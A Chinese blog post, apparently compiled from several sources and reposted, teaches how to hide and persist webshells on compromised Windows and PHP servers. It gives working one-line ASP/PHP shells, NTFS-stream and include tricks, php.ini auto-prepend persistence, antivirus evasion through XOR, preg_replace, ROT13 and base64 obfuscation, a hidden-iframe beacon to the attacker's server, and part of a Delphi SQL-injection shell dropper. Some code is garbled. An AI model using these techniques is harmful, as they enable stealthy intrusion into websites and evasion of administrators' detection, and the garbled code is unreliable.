原理是在于,在windows文件系统中,打开文件夹的时候系统会发送一个IRP_MJ_DIRECTORY_CONTROL函数,这个函数可以分配一个缓冲区,将该文件夹下的子文件夹遍历处理得到的信息存放至缓冲区,在遍历的时候,寻找匹配的文件名,如果文件名匹配,就绕过当前文件夹或者文件,对于绕过的原理,我查询了下代码,根据我的理解,它是根据将遍历的指针在查询到目标文件的时候,加上该文件的偏移量,不扫描目标文件夹,直接跳过。
对于这种技术的实施,虽然网上很多C的源码,但是操作起来有一定的困难,因为头文件的支持,还有系统的支持(不同系统的文件系统会不同),在网上查找到了Easy File Locker程序,需要将其安装至web服务器上,对目标文件设置权限。

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image028.png

权限的设置有可读accessable,可写writable,可删deletable,可见visible。

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image030.jpg

上图可以看到我们将其隐藏了,如前文所说,因为直接绕过了遍历,那么访问绝对路径却可以访问。我的理解是:

c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

这4个文件代替了遍历查询,要访问隐藏后的文件,输入绝对路径并不是应用绝对路径查询,而是通过上面4个文件进行的查询,相当于给隐藏文件做了一个单独的驱动。

为了不被管理员发现,可以将Easy FileLocker的程序删除,但是不能删除上述4个文件。删除程序后,输入绝对路径还是可以访问,就达到了隐藏后门的作用
④注册表隐藏
注册表路径:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL
在这个路径下有一个CheckedValue的键值,把他修改为0,如果没有CheckValue这个key直接创建一个,将他赋值为0,然后创建的隐藏文件就彻底隐藏了,即时在文件夹选项下把“显示所有文件”也不能显示了。
(2)一句话木马的隐藏
①头文件包含隐藏
在web里面的一些脚本文件中,有些文件里面有包含语句,可以利用这种包含方法包含一句话文件,在访问这个页面会直接调用这些一句话。
asp包含语句:<!–#includefile=”文件路径”–>,直接填入路径,文件路径是web服务器上的路径。
可以使用站长住手将一句话的NTFS流小马写入图片里面,将路径的‘\’改‘:’写入之后图片是显示不了的,然后找到web服务器上的一个asp文件,在文件的开始部分写上include语句,
<!–#includefile=”inc:1.jpg”–>。文件包含可以解析NTFS流为asp,包含之后,我们访问那个asp文件就包含了一句话,这样就隐藏了一句话。
php包含语句:

<?php include($include);?>

这里的$include可以是外部路径比如:

http://www.aaa.com/1.php?Include=http://www.bbb.com/hehe.php
这个aaa上的1.php内容为

<?php include($include);?>

,表示包含。bbb是外部服务器的,前提是这个服务器不能支持PHP。否则将会在bbb这个服务器上执行hehe.php(即一句话马),而aaa不执行。

②配置文件隐藏一句话(PHP)
在拿到PHP的webshell之后,可以利用php.ini隐藏文件,编辑配置文件,其中一个项功能是将某一个文件的内容添加到任意界面的页眉页脚:
auto_prepend_file =hehe.php

然后看
include_path = “E:\PHPnow-1.5.6\htdocs;”

这个配置信息表示加载页眉页脚的文集位置,path规则是”\path1;\path2″,表示将path1路径的文件夹下的页眉页脚文件添加到path中的文件中去,因为这里是一个‘.’表示根路径,这里就相当于添加到了主页上面去了,然后hehe.asp文件里面写上一句话,就可以通过php添加页眉的共能,将一句话写入网站首页。
③404小马
404小马在访问的时候显示出来一个404页面不存在的页面,但是实际上木马代码已经执行,一般都是按5次shift可以将它调用出来。
四、关于webshell的免杀一句话免杀
1.构造法绕过检测(PHP)
一般的检测程序会过滤这样”_POST”,”system”,”call_user_func_array”这样的字符,这个时候可以用构造法绕过一些检测程序,基本原理是,php每一个字符都都对应了一个二进制的值,可以采用异或的方式,让马中的一个字符用两个字符异或后的值来代替。
比如像一下代码

<?php
@$++; // 这里++让’’自加1
$=("#"^"|"); // _
$
=("."^"~"); // P
$=("/"^"`"); // O
$
=("|"^"/"); // S
$__=("{"^"/"); // T
?>

然后构造与一句话可以写为

<?php @$++;
$=("#""|").(".""~").("/""`").("|""/").("{"^"/"); // $的值为POST
@${$
}!$_;?>

// 结果为
@$_POST0

!$_表示1的相反,在语言里面1代表真,反过来就是0(假)
但是这样的绕过方法相当弱,仔细想一下,就算是两个字符的二进制值异或,但是我们要用某个字符,还是应用那个字符的值,比如

$__=("#""|").(".""~").("/""`").("|""/").("{"^"/")

的二进制值与_POST字符的值一样的,要是检测程序会检测二进制码的值,还是会被杀掉。

2.正则表达式代替法(PHP)
php中有一个函数preg_replace()函数,这个函数可以实现正则表达式的替换工作。用替换绕过检测系统还需要php脚本语言里面的一个函数特性,函数在调用的时候,如果函数里面的形参赋的值里面含有命令,就会执行这个命令。

<?php
function funfunc($str){}
echopreg_replace("/<title>(.+?)</title>/ies",'funfunc("\1")', $_POST["cmd"]);
?>

上述代码就是替代的一个过程,首先创建一个空函数,然后使用preg_replace函数替换表单cmd中的<title></title>(这里是html里面表示主题)为funfunc,将post表单中的值写成
<title>{${phpinfo()}}</title>

(当然这里的phpinfo()可以换成其他的命令),通过置换,就会变成
funfunc({${phpinfo()}})

由于${}可以解析{}中的内容,所以这里的phpinfo就可以顺利执行了。
3.即时生成法(PHP)
在使用头文件包含的时候,所包含头文件php很容易被扫描器扫描到,这时候可以使用file_put_content创建一个文件,里面写如php的一句话马。在访问之前先生成马,但是这个函数比较敏感,很容易被杀。
4.回避法(asp)
因为有的asp服务器为了防止一句话马,会过滤<%,%>,可以使用:

<scriptlanguage=VBScriptrunat=server>execute request("cmd")</Script>

功能相同,就是换个形式。
回避特定脚本语言:aspx一句话

<script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script>

这里使用C#语言写一句话马。
5.拆分法(asp)
将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。
还有拆分法加强版:

<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>

以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。
6.乱码变形(ANSI->Unicode加密)

<%eval request("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”

eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>

上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为

<%eval (eval(request("brute"))%>

7.大马免杀
(1)base4code编码
大马的免杀可以通过将大马的代码进行压缩,压缩之后在进行base4的加密算法,然后在大马的末尾添加

@eval(gzinflate(base64_decode($code)));

就可以执行脚本了。其中,$code变量是用来存放base4的code码,执行的时候先gzinflate解压,在eval执行。其实这种不能真正意义上的免杀,以为base4code和eval还是回被列入特征码行列,在过扫描器的时候同样会被杀掉。
(2)ROT13编码(php)
str_rot13是php用来编码的一个函数。可以利用它来编码脚本代码来绕过特征码的检测,比如。
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image031.png

图中的strrev函数是用来反转字符,为了逃过特征码的检测,还特地将字符用’.’号隔开。
图中3个str_rot13所加密的字符依次是gzinflate,str_rot13,base64_decode,相当于三重加密,而且也回避了gzinflate,base64_decode这两个特征码。但是没有回避str_rot13。有可能有的杀软会将str_rot13也作为特征码。
ROT13成为回转13,就是讲当前字符在字母表中的位置值减去13对应的字符加密。加密两次就回到原来的值了。但是由于算法固定,加密的强度也不强。而且破解的方式极为简单,只要再加密一边就可以了。
(3)其他编码
一般杀软和扫描器都会用特征码来判断是否有病毒,在对大马或者小马,一句话马做免杀处理的时候,一般都会用php或者asp脚本中加密类的函数来加密绕过扫描器(比如base4,rot13等),但是我觉得可以自己编写加密算法,然后使用自己编写的加密算法加密脚本代码就可以绕过一些特征码的。可以使用一些凯撒密码,移位加密等加密手段的思想,写一段加密算法,然后将脚本代码进行加密,然后base4,rot3这样的特征码就会消失,或者可以不那么麻烦,直接用自制的加密算法加密特征码,然后再使用的时候将其解密就行了。
还可以使用DES,RSA这样的密钥加密算法也可以,一般的大马都会有一个密码的登陆框,可以讲登陆脚本的密码跟解密密钥联动起来,输入正确的密码后才能够解析,一方面是为了逃过扫描器与杀软的查杀,另一方便,这个大马即使被别人拿到了,也无法解密,看到其中的源码。
五、关于webshell的后门
一般网上下载的大马或多或少的都会有后门,这些后门直接导致了我们拿的网站被别人顺带拿走了,所以在网上下载的大马必须先检查有没有后门。
比如这里的万能密码:

end function
if session("hehe")<>userpassthen
ifrequest.form("pass")<>"" then
if request.form("pass")=userpassor request.form("pass")="1111111" Then
session("hehe")=userpasss
response.redirect url
else

这里

request.form("pass")=userpass

原本是为了将pass的值进行验证,如果输入的pass值等于userpass的情况,就代表验证成功,但是后面

orrequest.from(“pass”)=”1111111”

表示如果输入的pass值为1111111,也可以登录大马。当然,这个地方不可能会这么简单,原作者完全可以把userpass赋值成为两个,添加一个userpass改变的触发条件,在他登录的时候触发这个条件(比如说如果登录失败的时候将触发userpass值的更新),这样就可以添加一个后面,而且触发条件的代码与验证代码分隔的较远,也不好查找,这个时候就需要我们把大马的代码逐行分析。

然后再用框架挂马:

<iframe src=后门地址 width=0 height=0></iframe>

这个地方将链接的地址宽度和高度全设置为0,就该页面就隐藏了。里面的“后门地址”指向自己的脚本收信器,最后将收信脚本放到自己搭建的一个公网服务器上面,收信脚本如下:

<%url=Request.ServerVariables("HTTP_Referer")
  set fs=server.CreateObject("Scripting.FileSystemObject")
  set file=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True)
  file.writeline url
  file.close
  set file=nothing
  set fs=nothing
%>

其中

url=Request.ServerVariables("HTTP_Referer")

表示请求的字符转内容,即大马的url地址,然后把url地址保存到当前目录的hehe.txt。

要提出这种后门首先必须先要破坏大马第二种密码验证,即万能密码。删除相关的功能代码,然后再查找有没有asp大马页面有没有例如width=0 height=0这样的隐藏url,查找出来将其删除。

接单之隐藏一句话木马

一般 我们拿到的shell很容易被发现 或者被删除现在教你们 如何隐藏这是利用NTFS流隐藏你的一句话小马,这方法,文件写入后,不容易给发现,隐藏性好! 如下是ASP脚本的例子!NTFS流文件的内容如下 (NTFS流文件 是什么自己百度科普 还有这个只适用于win系统服务器)
<%
re= request("test")
if re <>"" then
execute re
response.end ‘表示结束,不再处理别的代码
end if
%>
把内容写入如下位置(示例位置)H:\Web\动易\Inc:1.jpg

Paste_Image.png

看清楚,是 :1.jpg 不是 \1.jpg文件写入后,H:\Web\动易\Inc 目录里是看不到文件的!
现在要引导这个一句话文件!格式:<!-#include file="目录:1.jpg"->
我随便选一个文件(最好不要自己新建文件,别人容易发现有新文件)H:\Web\动易\Announce.asp

Paste_Image.png

添加 <!-#include file="inc:1.jpg"->
修改后保存!
一句话木马隐藏基本完成!当然 H:\Web\动易\Announce.asp 你可以改个一下修改的时间,这样别人就不容易发现有问题!
还有说一下,2003的流,是可以写入文件也可以写入目录的!你想把一句话马写在目录里也成,文件里也成但建议保存到目录里,因为文件如果修改,流数据将会清空,但目录不会!用菜刀测试成功!

Paste_Image.png

Paste_Image.png

Hacker By T.H.E本文来源: http://www.t00ts.net/post-35.html

http://www.jb51.net/hack/5833.html

一.通过SQL注入得到WEBSHELL的原理: N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。 分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数

一.通过SQL注入得到WEBSHELL的原理:

N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢?如果数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。
再来看看CZY的方法吧。 CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。

二.利用DELPHI去实现功能的前言

原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。

三.如何利用DELPHI得到WEBSHELL。

程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
现在来写程序了。 我们首先定义一个RECORD。 如下:
Type
SetOption = Record
TableName : String; //用来保存要创建的表名.
FieldName : String; //用来保存要创建的字段名.
FiledType : String; //用来保存创建的字段名类型.
End;
FiledType字段类型的值是以下类型的一种:
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar
这些都是MSSQL字段类型值.
再定义一个全局变量:
Var
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
好了。在表单创建的过程中,我们为RECORD记录输入默认值.
代码如下:
procedure TMainForm.FormCreate(Sender: TObject);
begin sOption.TableName :=’cyfd’
sOption.FieldName :=’gmemo’
sOption.FiledType :=’text’
end;
现在我们添加开始执行命令的代码。
先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用. 在程序开始执行前,我们得先检查一下用户的输入
定义一个Checkinput函数.
如下:
Function CheckInput : Boolean;
Begin Result := False;
if Trim(urlet.Text) = ’’ then
Begin
Application.MessageBox(’请输入URL地址!’,’提示’,mb_ok mb_iconinformation);
Exit;
End;
if Trim(ShellPathET.Text) = ’’ then
Begin
Application.MessageBox(’请输入文件保存地址!’,’提示’,mb_ok mb_iconinformation);
Exit;
End;
IF DefBDoor.Checked then
Begin
if Not FileExists(extractfilepath(Application.ExeName) ’默认木马.txt’) then
Begin
Application.MessageBox(’没有找到 [默认木马.txt] 文件!’,’提示’,mb_ok mb_iconinformation);
Exit;
End;
End
Else if Not FileExists(CustomBdoorET.Text) then
Begin
Application.MessageBox(’没有找到所选的木马文件!’,’提示’,mb_ok mb_iconinformation);
Exit;
End;
Result := True;
End;



作者:JackyTsuuuy
链接:https://www.jianshu.com/p/02aac12e459f
來源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。



学习:https://zhuanlan.zhihu.com/p/33641454

来自:http://www.bywalks.com/258.html

来自:漏斗社区

来自:http://0535code.com/article/20161101_1154.shtml

来自:https://www.jianshu.com/p/02aac12e459f

来自:挺强的一个博主

猜你喜欢

转载自blog.csdn.net/m0_37438418/article/details/80962853